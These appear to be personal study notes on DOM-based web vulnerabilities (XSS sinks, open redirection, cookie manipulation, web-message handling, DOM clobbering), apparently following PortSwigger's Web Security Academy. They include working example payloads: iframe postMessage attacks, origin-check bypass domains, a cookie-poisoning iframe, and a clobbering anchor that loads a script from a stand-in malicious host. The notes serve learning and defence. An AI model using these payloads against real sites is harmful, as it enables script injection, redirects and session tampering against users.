What is the DOM?

Document Object Model (DOM) is a hierarchical representation of the elements on the page. DOM-based vulnerabilities arise when a website passes an attacker-controllable value from a source to a sink.

A **source** accepts attacker-controlled data: location.search (URL), document.referrer (referring URL), document.cookie, web messages,…

A **sink** is a dangerous function that processes this data: eval(), document.boby.innerHTML,…

Consider:

goto = location.hash.slice(1)

if (goto.startsWith('https:')) {

  location = goto;

}

Attacker can construct a link to send the victim to a vulnerable page with payload in the query string or fragment portions of the URL

https://www.innocent-website.com/example#https://www.evil-user.net

Common sources

document.URL

document.documentURI

document.URLUnencoded

document.baseURI

location

document.cookie

document.referrer

window.name

history.pushState

history.replaceState

localStorage

sessionStorage

IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)

Database

Which sinks can lead to DOM-based vulnerabilities?

|  |  |
| --- | --- |
| **DOM-based vulnerability** | **Example sink** |
| [DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based) | document.write() |
| [Open redirection](https://portswigger.net/web-security/dom-based/open-redirection) | window.location |
| [Cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) | document.cookie |
| [JavaScript injection](https://portswigger.net/web-security/dom-based/javascript-injection) | eval() |
| [Document-domain manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) | document.domain |
| [WebSocket-URL poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) | WebSocket() |
| [Link manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) | element.src |
| [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) | postMessage() |
| [Ajax request-header manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) | setRequestHeader() |
| [Local file-path manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) | FileReader.readAsText() |
| [Client-side SQL injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) | ExecuteSql() |
| [HTML5-storage manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) | sessionStorage.setItem() |
| [Client-side XPath injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) | document.evaluate() |
| [Client-side JSON injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) | JSON.parse() |
| [DOM-data manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) | element.setAttribute() |
| [Denial of service](https://portswigger.net/web-security/dom-based/denial-of-service) | RegExp() |

Controlling the web message source

If a page handles incoming web messages in an unsafe way (by not verifying the origin of incoming messages correctly in the event listener), properties and functions that are called by the event listener can potentially become sinks.Attacker could host a malicious iframe and use the postMessage() method to pass web message data to the vulnerable event listener.

How to construct an attack using web messages as the source

Consider:

<script>

window.**addEventListener**('message', function(e) {

**eval**(e.data);

});

</script>

Attack: <iframe src="//vulnerable-website" onload="this.contentWindow.postMessage(**'print()**','\*')">

Search for **addEventListener**

Use DOM Invader to find the sinks and generate PoC: Message filtering by stack trace is on

Check the source code: search for the sink or “addEventListener”, check the condition in which the sink is activated

Origin verification

window.**addEventListener**('message', function(e) {

if (e.origin.**indexOf**('normal-website.com') > -1) {

eval(e.data);

}

});

**Attack**: http://www.normal-website.com.evil.net

window.addEventListener('message', function(e) {

if (e.origin.**endsWith**('normal-website.com')) {

eval(e.data);

}

});

**Attack:** http://www.malicious-websitenormal-website.com

What is DOM-based open redirection?

A script writes attacker-controllable data into a sink that triggers cross-domain navigation:

let url = /https?:\/\/.+/.exec(location.hash);

if (url) {

  location = url[0];

}

<a href='#' onclick='returnURL = /url=https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = "/"'>Back to Blog</a>

Attack: https://web-security-academy.net/post?postId=4&url=https://.exploit-server.net/

location

location.host

location.hostname

location.href

location.pathname

location.search

location.protocol

location.assign()

location.replace()

open()

element.srcdoc

XMLHttpRequest.open()

XMLHttpRequest.send()

jQuery.ajax()

$.ajax()

What is DOM-based cookie manipulation?

A script writes attacker-controllable data into the value of a cookie

document.cookie = 'cookieName='+location.hash.slice(1);

document.cookie = ‘lastViewedProduct=’ + window.location

**Search for document.cookie in responses.**

We can use this vulnerability to construct a URL that sets victim’s cookie.

<iframe src="https://web-security-academy.net/product?productId=1**&'><script>print()</script>**" onload="if(!window.x)this.src='https://web-security-academy.net/';window.x=1;">

When the iframe loads, the browser opens the malicious URL. This malicious URL will be saved as value of lastViewProduct cookie. Afterthat, the onload event will immediately redirect the victim to the home page, with the cookie poisoned, causing the script executed.

What is DOM-based JavaScript injection?

A script executes attacker-controllable data as JavaScript. We can use this to construct a URL that causes the Javascript to be executed

eval()

Function()

setTimeout()

setInterval()

setImmediate()

execCommand()

execScript()

msSetImmediate()

range.createContextualFragment()

crypto.generateCRMFRequest()

What is DOM-based document-domain manipulation?

A script uses attacker-controllable data to set the document.domain property. We can use this to construct a URL that causes the page to set the value of document.domain.

The document.domain property is used in the enforcement of the same origin policy. If two pages from different origins explicitly set the same document.domain value, then those two pages can interact in unrestricted ways. If we can cause a target page to set the same document.domain value as that of the page we control, we may be able to fully compromise the target page via the page we control.

What is DOM-based WebSocket-URL poisoning?

A script uses attacker-controllable data as the target URL of a WebSocket connection. We can use this to construct a URL that causes the browser to open a WebSocket connection to an exploit server

What is DOM-based link manipulation?

A script writes attacker-controllable data to a navigation target within the current page, such as a clickable link or the submission URL of a form. We can use this to construct a URL that modifies the navigation target.

element.href

element.src

element.action

What is DOM-based Ajax request-header manipulation?

Ajax enables a website to make asynchronous requests to the server so that web applications can dynamically change content on the page without the need to reload the entire page.

Vulnerabilities arise when a script writes attacker-controllable data into the request header of an Ajax request that is issued using an XmlHttpRequest object. We can use this to construct a URL that sets an arbitrary header in the Ajax request.

XMLHttpRequest.setRequestHeader()

XMLHttpRequest.open()

XMLHttpRequest.send()

jQuery.globalEval()

$.globalEval()

What is DOM-based local file-path manipulation?

 A script passes attacker-controllable data to a file-handling API as the filename parameter. We can use this to construct a URL that causes the browser to open any arbitrary local file

FileReader.readAsArrayBuffer()

FileReader.readAsBinaryString()

FileReader.readAsDataURL()

FileReader.readAsText()

FileReader.readAsFile()

FileReader.root.getFile()

What is DOM-based client-side SQL injection?

A script incorporates attacker-controllable data into a client-side SQL query in an unsafe way. We can use this to construct a URL that executes an arbitrary SQL query.

What is DOM-based HTML5-storage manipulation?

A script stores attacker-controllable data in the HTML5 storage of the web browser (localStorage or sessionStorage). We can use this to construct a URL that causes the browser to store malicious data.

If the application later reads data back from storage and processes it in an unsafe way, we can deliver attacks such as [cross-site scripting](https://portswigger.net/web-security/cross-site-scripting) and JavaScript injection.

sessionStorage.setItem()

localStorage.setItem()

What is DOM-based XPath injection?

A script incorporates attacker-controllable data into an XPath query. We can use this to construct a URL that triggers the execution of an arbitrary XPath query, which could cause different data to be retrieved and processed by the website.

document.evaluate()

element.evaluate()

What is DOM-based JSON injection?

A script incorporates attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application. We can use this to construct a URL that causes arbitrary JSON data to be processed.

JSON.parse()

jQuery.parseJSON()

$.parseJSON()

What is DOM-data manipulation?

A script writes attacker-controllable data to a field within the DOM that is used within the visible UI or client-side logic. We can use this vulnerability to construct a URL that modifies the apperance or behavior of the client-side UI.

script.src

script.text

script.textContent

script.innerText

element.setAttribute()

element.search

element.text

element.textContent

element.innerText

element.outerText

element.value

element.name

element.target

element.method

element.type

element.backgroundImage

element.cssText

element.codebase

document.title

document.implementation.createHTMLDocument()

history.pushState()

history.replaceState()

What is DOM-based denial of service?

A script passes attacker-controllable data in an unsafe way to functions that consume excessive amounts of CPU or disk space.

requestFileSystem()

RegExp()

What is DOM clobbering?

Injecting HTML into a page to manipulate the DOM and ultimately changing the behavior of JavaScript on the page. DOM clobbering is particularly useful in cases where [XSS](https://portswigger.net/web-security/cross-site-scripting) is not possible, but we can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter.

We can use an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.

How to exploit DOM-clobbering vulnerabilities

A common pattern used by JavaScript developers: var someObject = window.someObject || {};

Consider :

<script>

window.onload = function(){

let someObject = window.someObject || {};

let script = document.createElement('script');

script.src = someObject.url;

document.body.appendChild(script);

};

</script>

**Attack:**

Search for “||”

Inject the following HTML to clobber the someObject reference with an anchor element

<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

eval(): print()

innerHTML: <img src=1 onerror=print()>

localtion.href, iframe.src: javascript:print()//https: (// is comment in Javascript)